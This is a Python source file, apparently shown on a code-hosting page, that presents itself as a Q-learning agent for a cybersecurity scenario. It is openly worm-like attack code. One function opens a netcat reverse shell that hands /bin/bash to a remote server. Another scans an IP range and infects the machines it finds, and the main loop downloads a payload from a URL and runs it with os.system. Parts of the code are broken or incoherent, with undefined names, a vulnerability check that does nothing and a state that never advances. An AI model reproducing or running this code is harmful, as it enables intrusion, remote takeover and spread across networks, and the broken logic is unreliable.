/
main.py
297 lines (248 loc) · 10 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
import argparse
import logging
import os
import shutil
import subprocess
import sys
import threading
import time
import urllib.request
from concurrent.futures import ThreadPoolExecutor
from pathlib import Path
from typing import Any, Callable, Dict, List, NamedTuple, Optional, Tuple
import numpy as np
import psutil
class State(NamedTuple):
ip: str
state_number: int
def choose_action(q_table: Dict[State, Dict[int, float]], state: State, exploration_probability: float) -> int:
"""Choose a random action to take with probability exploration_probability, or the best action otherwise.
Args:
q_table: A dictionary mapping states to dictionaries mapping actions to Q-values.
state: The current state.
exploration_probability: The probability of choosing a random action.
Returns:
An action to take.
"""
if np.random.rand() < exploration_probability:
return np.random.randint(0, 4)
else:
return max(q_table[state].items(), key=lambda x: x[1])[0]
def take_action(action: int, ip: str) -> Tuple[Optional[float], Optional[State]]:
"""Take an action and return the reward and the next state.
Args:
action: An integer representing an action.
ip: An IP address.
Returns:
A tuple of the reward and the next state, or None if the action failed.
"""
if action == 0:
result = try_infect(ip)
if result:
return REWARD_SUCCESS, None
else:
return REWARD_FAILURE, None
elif action == 1:
result = perform_self_healing()
if result:
return REWARD_SUCCESS, None
else:
return REWARD_FAILURE, None
elif action == 2:
result = propagate(ip)
if result:
return REWARD_SUCCESS, None
else:
return REWARD_FAILURE, None
elif action == 3:
result = check_self_awareness()
if result:
return REWARD_SUCCESS, None
else:
return REWARD_FAILURE, None
def try_infect(ip: str) -> bool:
"""Try to infect a machine with an IP address of ip.
Args:
ip: An IP address.
Returns:
True if the infection was successful, False otherwise.
"""
try:
subprocess.run([NETCAT_BINARY, "-e", "/bin/bash", REMOTE_SERVER, str(PORT)], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, timeout=5)
return True
except subprocess.CalledProcessError:
return False
except subprocess.TimeoutExpired:
return False
def perform_self_healing() -> bool:
"""Perform self-healing actions based on the current state of affairs.
Returns:
True if the self-healing was successful, False otherwise.
"""
pid = os.getpid() # Get the current process ID
try:
os.kill(pid, 0) # Send a null signal to the current process to check if it's running
except OSError:
# Process is not running, so we don't need to perform any self-healing actions
return
src = Path("/path/to/original/file") # Path to the original file
dst = Path("/path/to/compromised/file") # Path to the compromised file
if not src.exists():
# Original file does not exist, so we can't reinstall it
print("[!] Original file not found, unable to perform self-healing action")
return
if not dst.exists():
# Compromised file does not exist, so we don't need to perform any self-healing actions
return
if src.samefile(dst):
# Original file and compromised file are the same, so we don't need to perform any self-healing actions
return
# Perform self-healing actions
print("[+] Performing self-healing actions")
# Restart the compromised process
os.kill(pid, signal.SIGTERM) # Send a SIGTERM signal to the current process
os.execv(sys.executable, ['python'] + sys.argv) # Restart the current process
# Reinstall the compromised file
shutil.copyfile(src, dst) # Copy the original file over the compromised file
return True
def propagate(ip_range: List[str]) -> bool:
"""Scan the specified IP range for vulnerable machines.
Args:
ip_range: A list of IP addresses.
Returns:
True if at least one vulnerable machine was found, False otherwise.
"""
vulnerable_machines = []
with ThreadPoolExecutor() as executor:
for ip in ip_range:
vulnerable = executor.submit(is_vulnerable, ip)
if vulnerable.result():
vulnerable_machines.append(ip)
for ip in vulnerable_machines:
try_infect(ip)
return len(vulnerable_machines) > 0
def is_vulnerable(ip: str) -> bool:
"""Check whether the target machine is vulnerable to a specific exploit.
Args:
ip: An IP address.
Returns:
True if the target machine is vulnerable, False otherwise.
"""
# This function should be customized based on the specific exploit being used
pass
def check_self_awareness() -> bool:
"""Check whether the agent is aware of its own state or status.
Returns:
True if the agent is self-aware, False otherwise.
"""
try:
# Perform some checks to verify that the agent is self-aware
# For example, check that the current state is valid
if state.state_number < 0 or state.state_number >= MAX_STATE:
print("[!] Invalid state detected")
return False
# Check that the agent's memory usage is not exceeding a certain threshold
mem_usage = psutil.Process(os.getpid()).memory_info().rss / (1024 * 1024)
if mem_usage > MAX_MEMORY:
print("[!] Memory usage exceeded")
return False
# If all checks pass, return True
print("[+] Self-awareness check passed")
return True
except Exception as e:
# If any errors occur during the checks, print an error message and return False
print(f"[!] Error during self-awareness check: {e}")
return False
def update_state(state: State, action: int) -> State:
"""Update the current state based on the action taken.
Args:
state: The current state.
action: An integer representing an action.
Returns:
The next state.
"""
# This function should be customized based on the specific problem being solved
if action == 0:
state = State(state.ip, state.state_number + 1)
elif action == 1:
state = State(state.ip, state.state_number - 1)
elif action == 2:
state = State(state.ip, state.state_number * 2)
elif action == 3:
state = State(state.ip, state.state_number // 2)
return state
def main(ip_range: List[str], remote_server: str, port: int, payload_url: str) -> None:
# Initialize Q table and starting state
q_table: Dict[State, Dict[int, float]] = {state: {action: 0.0 for action in range(4)} for state in states}
state = State(ip_range[0], 0)
# Set up logging
logging.basicConfig(level=logging.INFO)
# Set up the learning parameters
exploration_probability = 1.0
discount_factor = 0.9
learning_rate = 0.1
max_state = MAX_STATE
# Download the payload
try:
with urllib.request.urlopen(payload_url) as f:
payload = f.read().decode("utf-8")
except urllib.error.URLError as e:
logging.error(f"Error downloading payload: {e}")
sys.exit(1)
# Start the main loop
for episode in range(MAX_EPISODES):
logging.info(f"Episode {episode + 1}/{MAX_EPISODES}")
# Choose an action based on the current state and the Q-table
action = choose_action(q_table, state, exploration_probability)
logging.debug(f"Chose action {action} for state {state}")
# Take the action and get the reward and the next state
reward, next_state = take_action(action, state.ip)
logging.debug(f"Received reward {reward} and transitioned to state {next_state}")
# Update the Q-table based on the reward and the next state
if next_state is not None:
next_action = choose_action(q_table, next_state, exploration_probability)
q_table[state][action] = q_table[state][action] + learning_rate * (reward + discount_factor * q_table[next_state][next_action] - q_table[state][action])
# Update the exploration probability
exploration_probability *= decay_factor
# Update the state
state = next_state
# Check if the agent is self-aware
if check_self_awareness():
logging.info("The agent is self-aware!")
break
# Check if the agent has reached the goal state
if state.state_number == max_state:
logging.info("The agent has reached the goal state!")
break
# Perform some actions periodically
if episode % 10 == 0:
# Perform self-healing
perform_self_healing()
# Propagate to other machines
propagate(ip_range)
# Execute the payload
os.system(payload)
if __name__ == "__main__":
# Parse the command-line arguments
parser = argparse.ArgumentParser(description="A Q-learning agent for a cybersecurity scenario.")
parser.add_argument("ip_range", nargs="+", type=str, help="A list of IP addresses to scan.")
parser.add_argument("--remote-server", type=str, default="example.com", help="The remote server to connect to.")
parser.add_argument("--port", type=int, default=8080, help="The port to connect to on the remote server.")
parser.add_argument("--payload-url", type=str, help="The URL of the payload to download and execute.")
args = parser.parse_args()
# Set the global constants
NETCAT_BINARY = "/bin/nc"
REMOTE_SERVER = args.remote_server
PORT = args.port
PAYLOAD_URL = args.payload_url
MAX_EPISODES = 1000
MAX_STATE = 10000
REWARD_SUCCESS = 10
REWARD_FAILURE = -5
DISCOUNT_FACTOR = 0.9
LEARNING_RATE = 0.1
# Set the global variables
exploration_probability = 1.0
decay_factor = 0.999
# Call the main function
main(args.ip_range, args.remote_server, args.port, args.payload_url)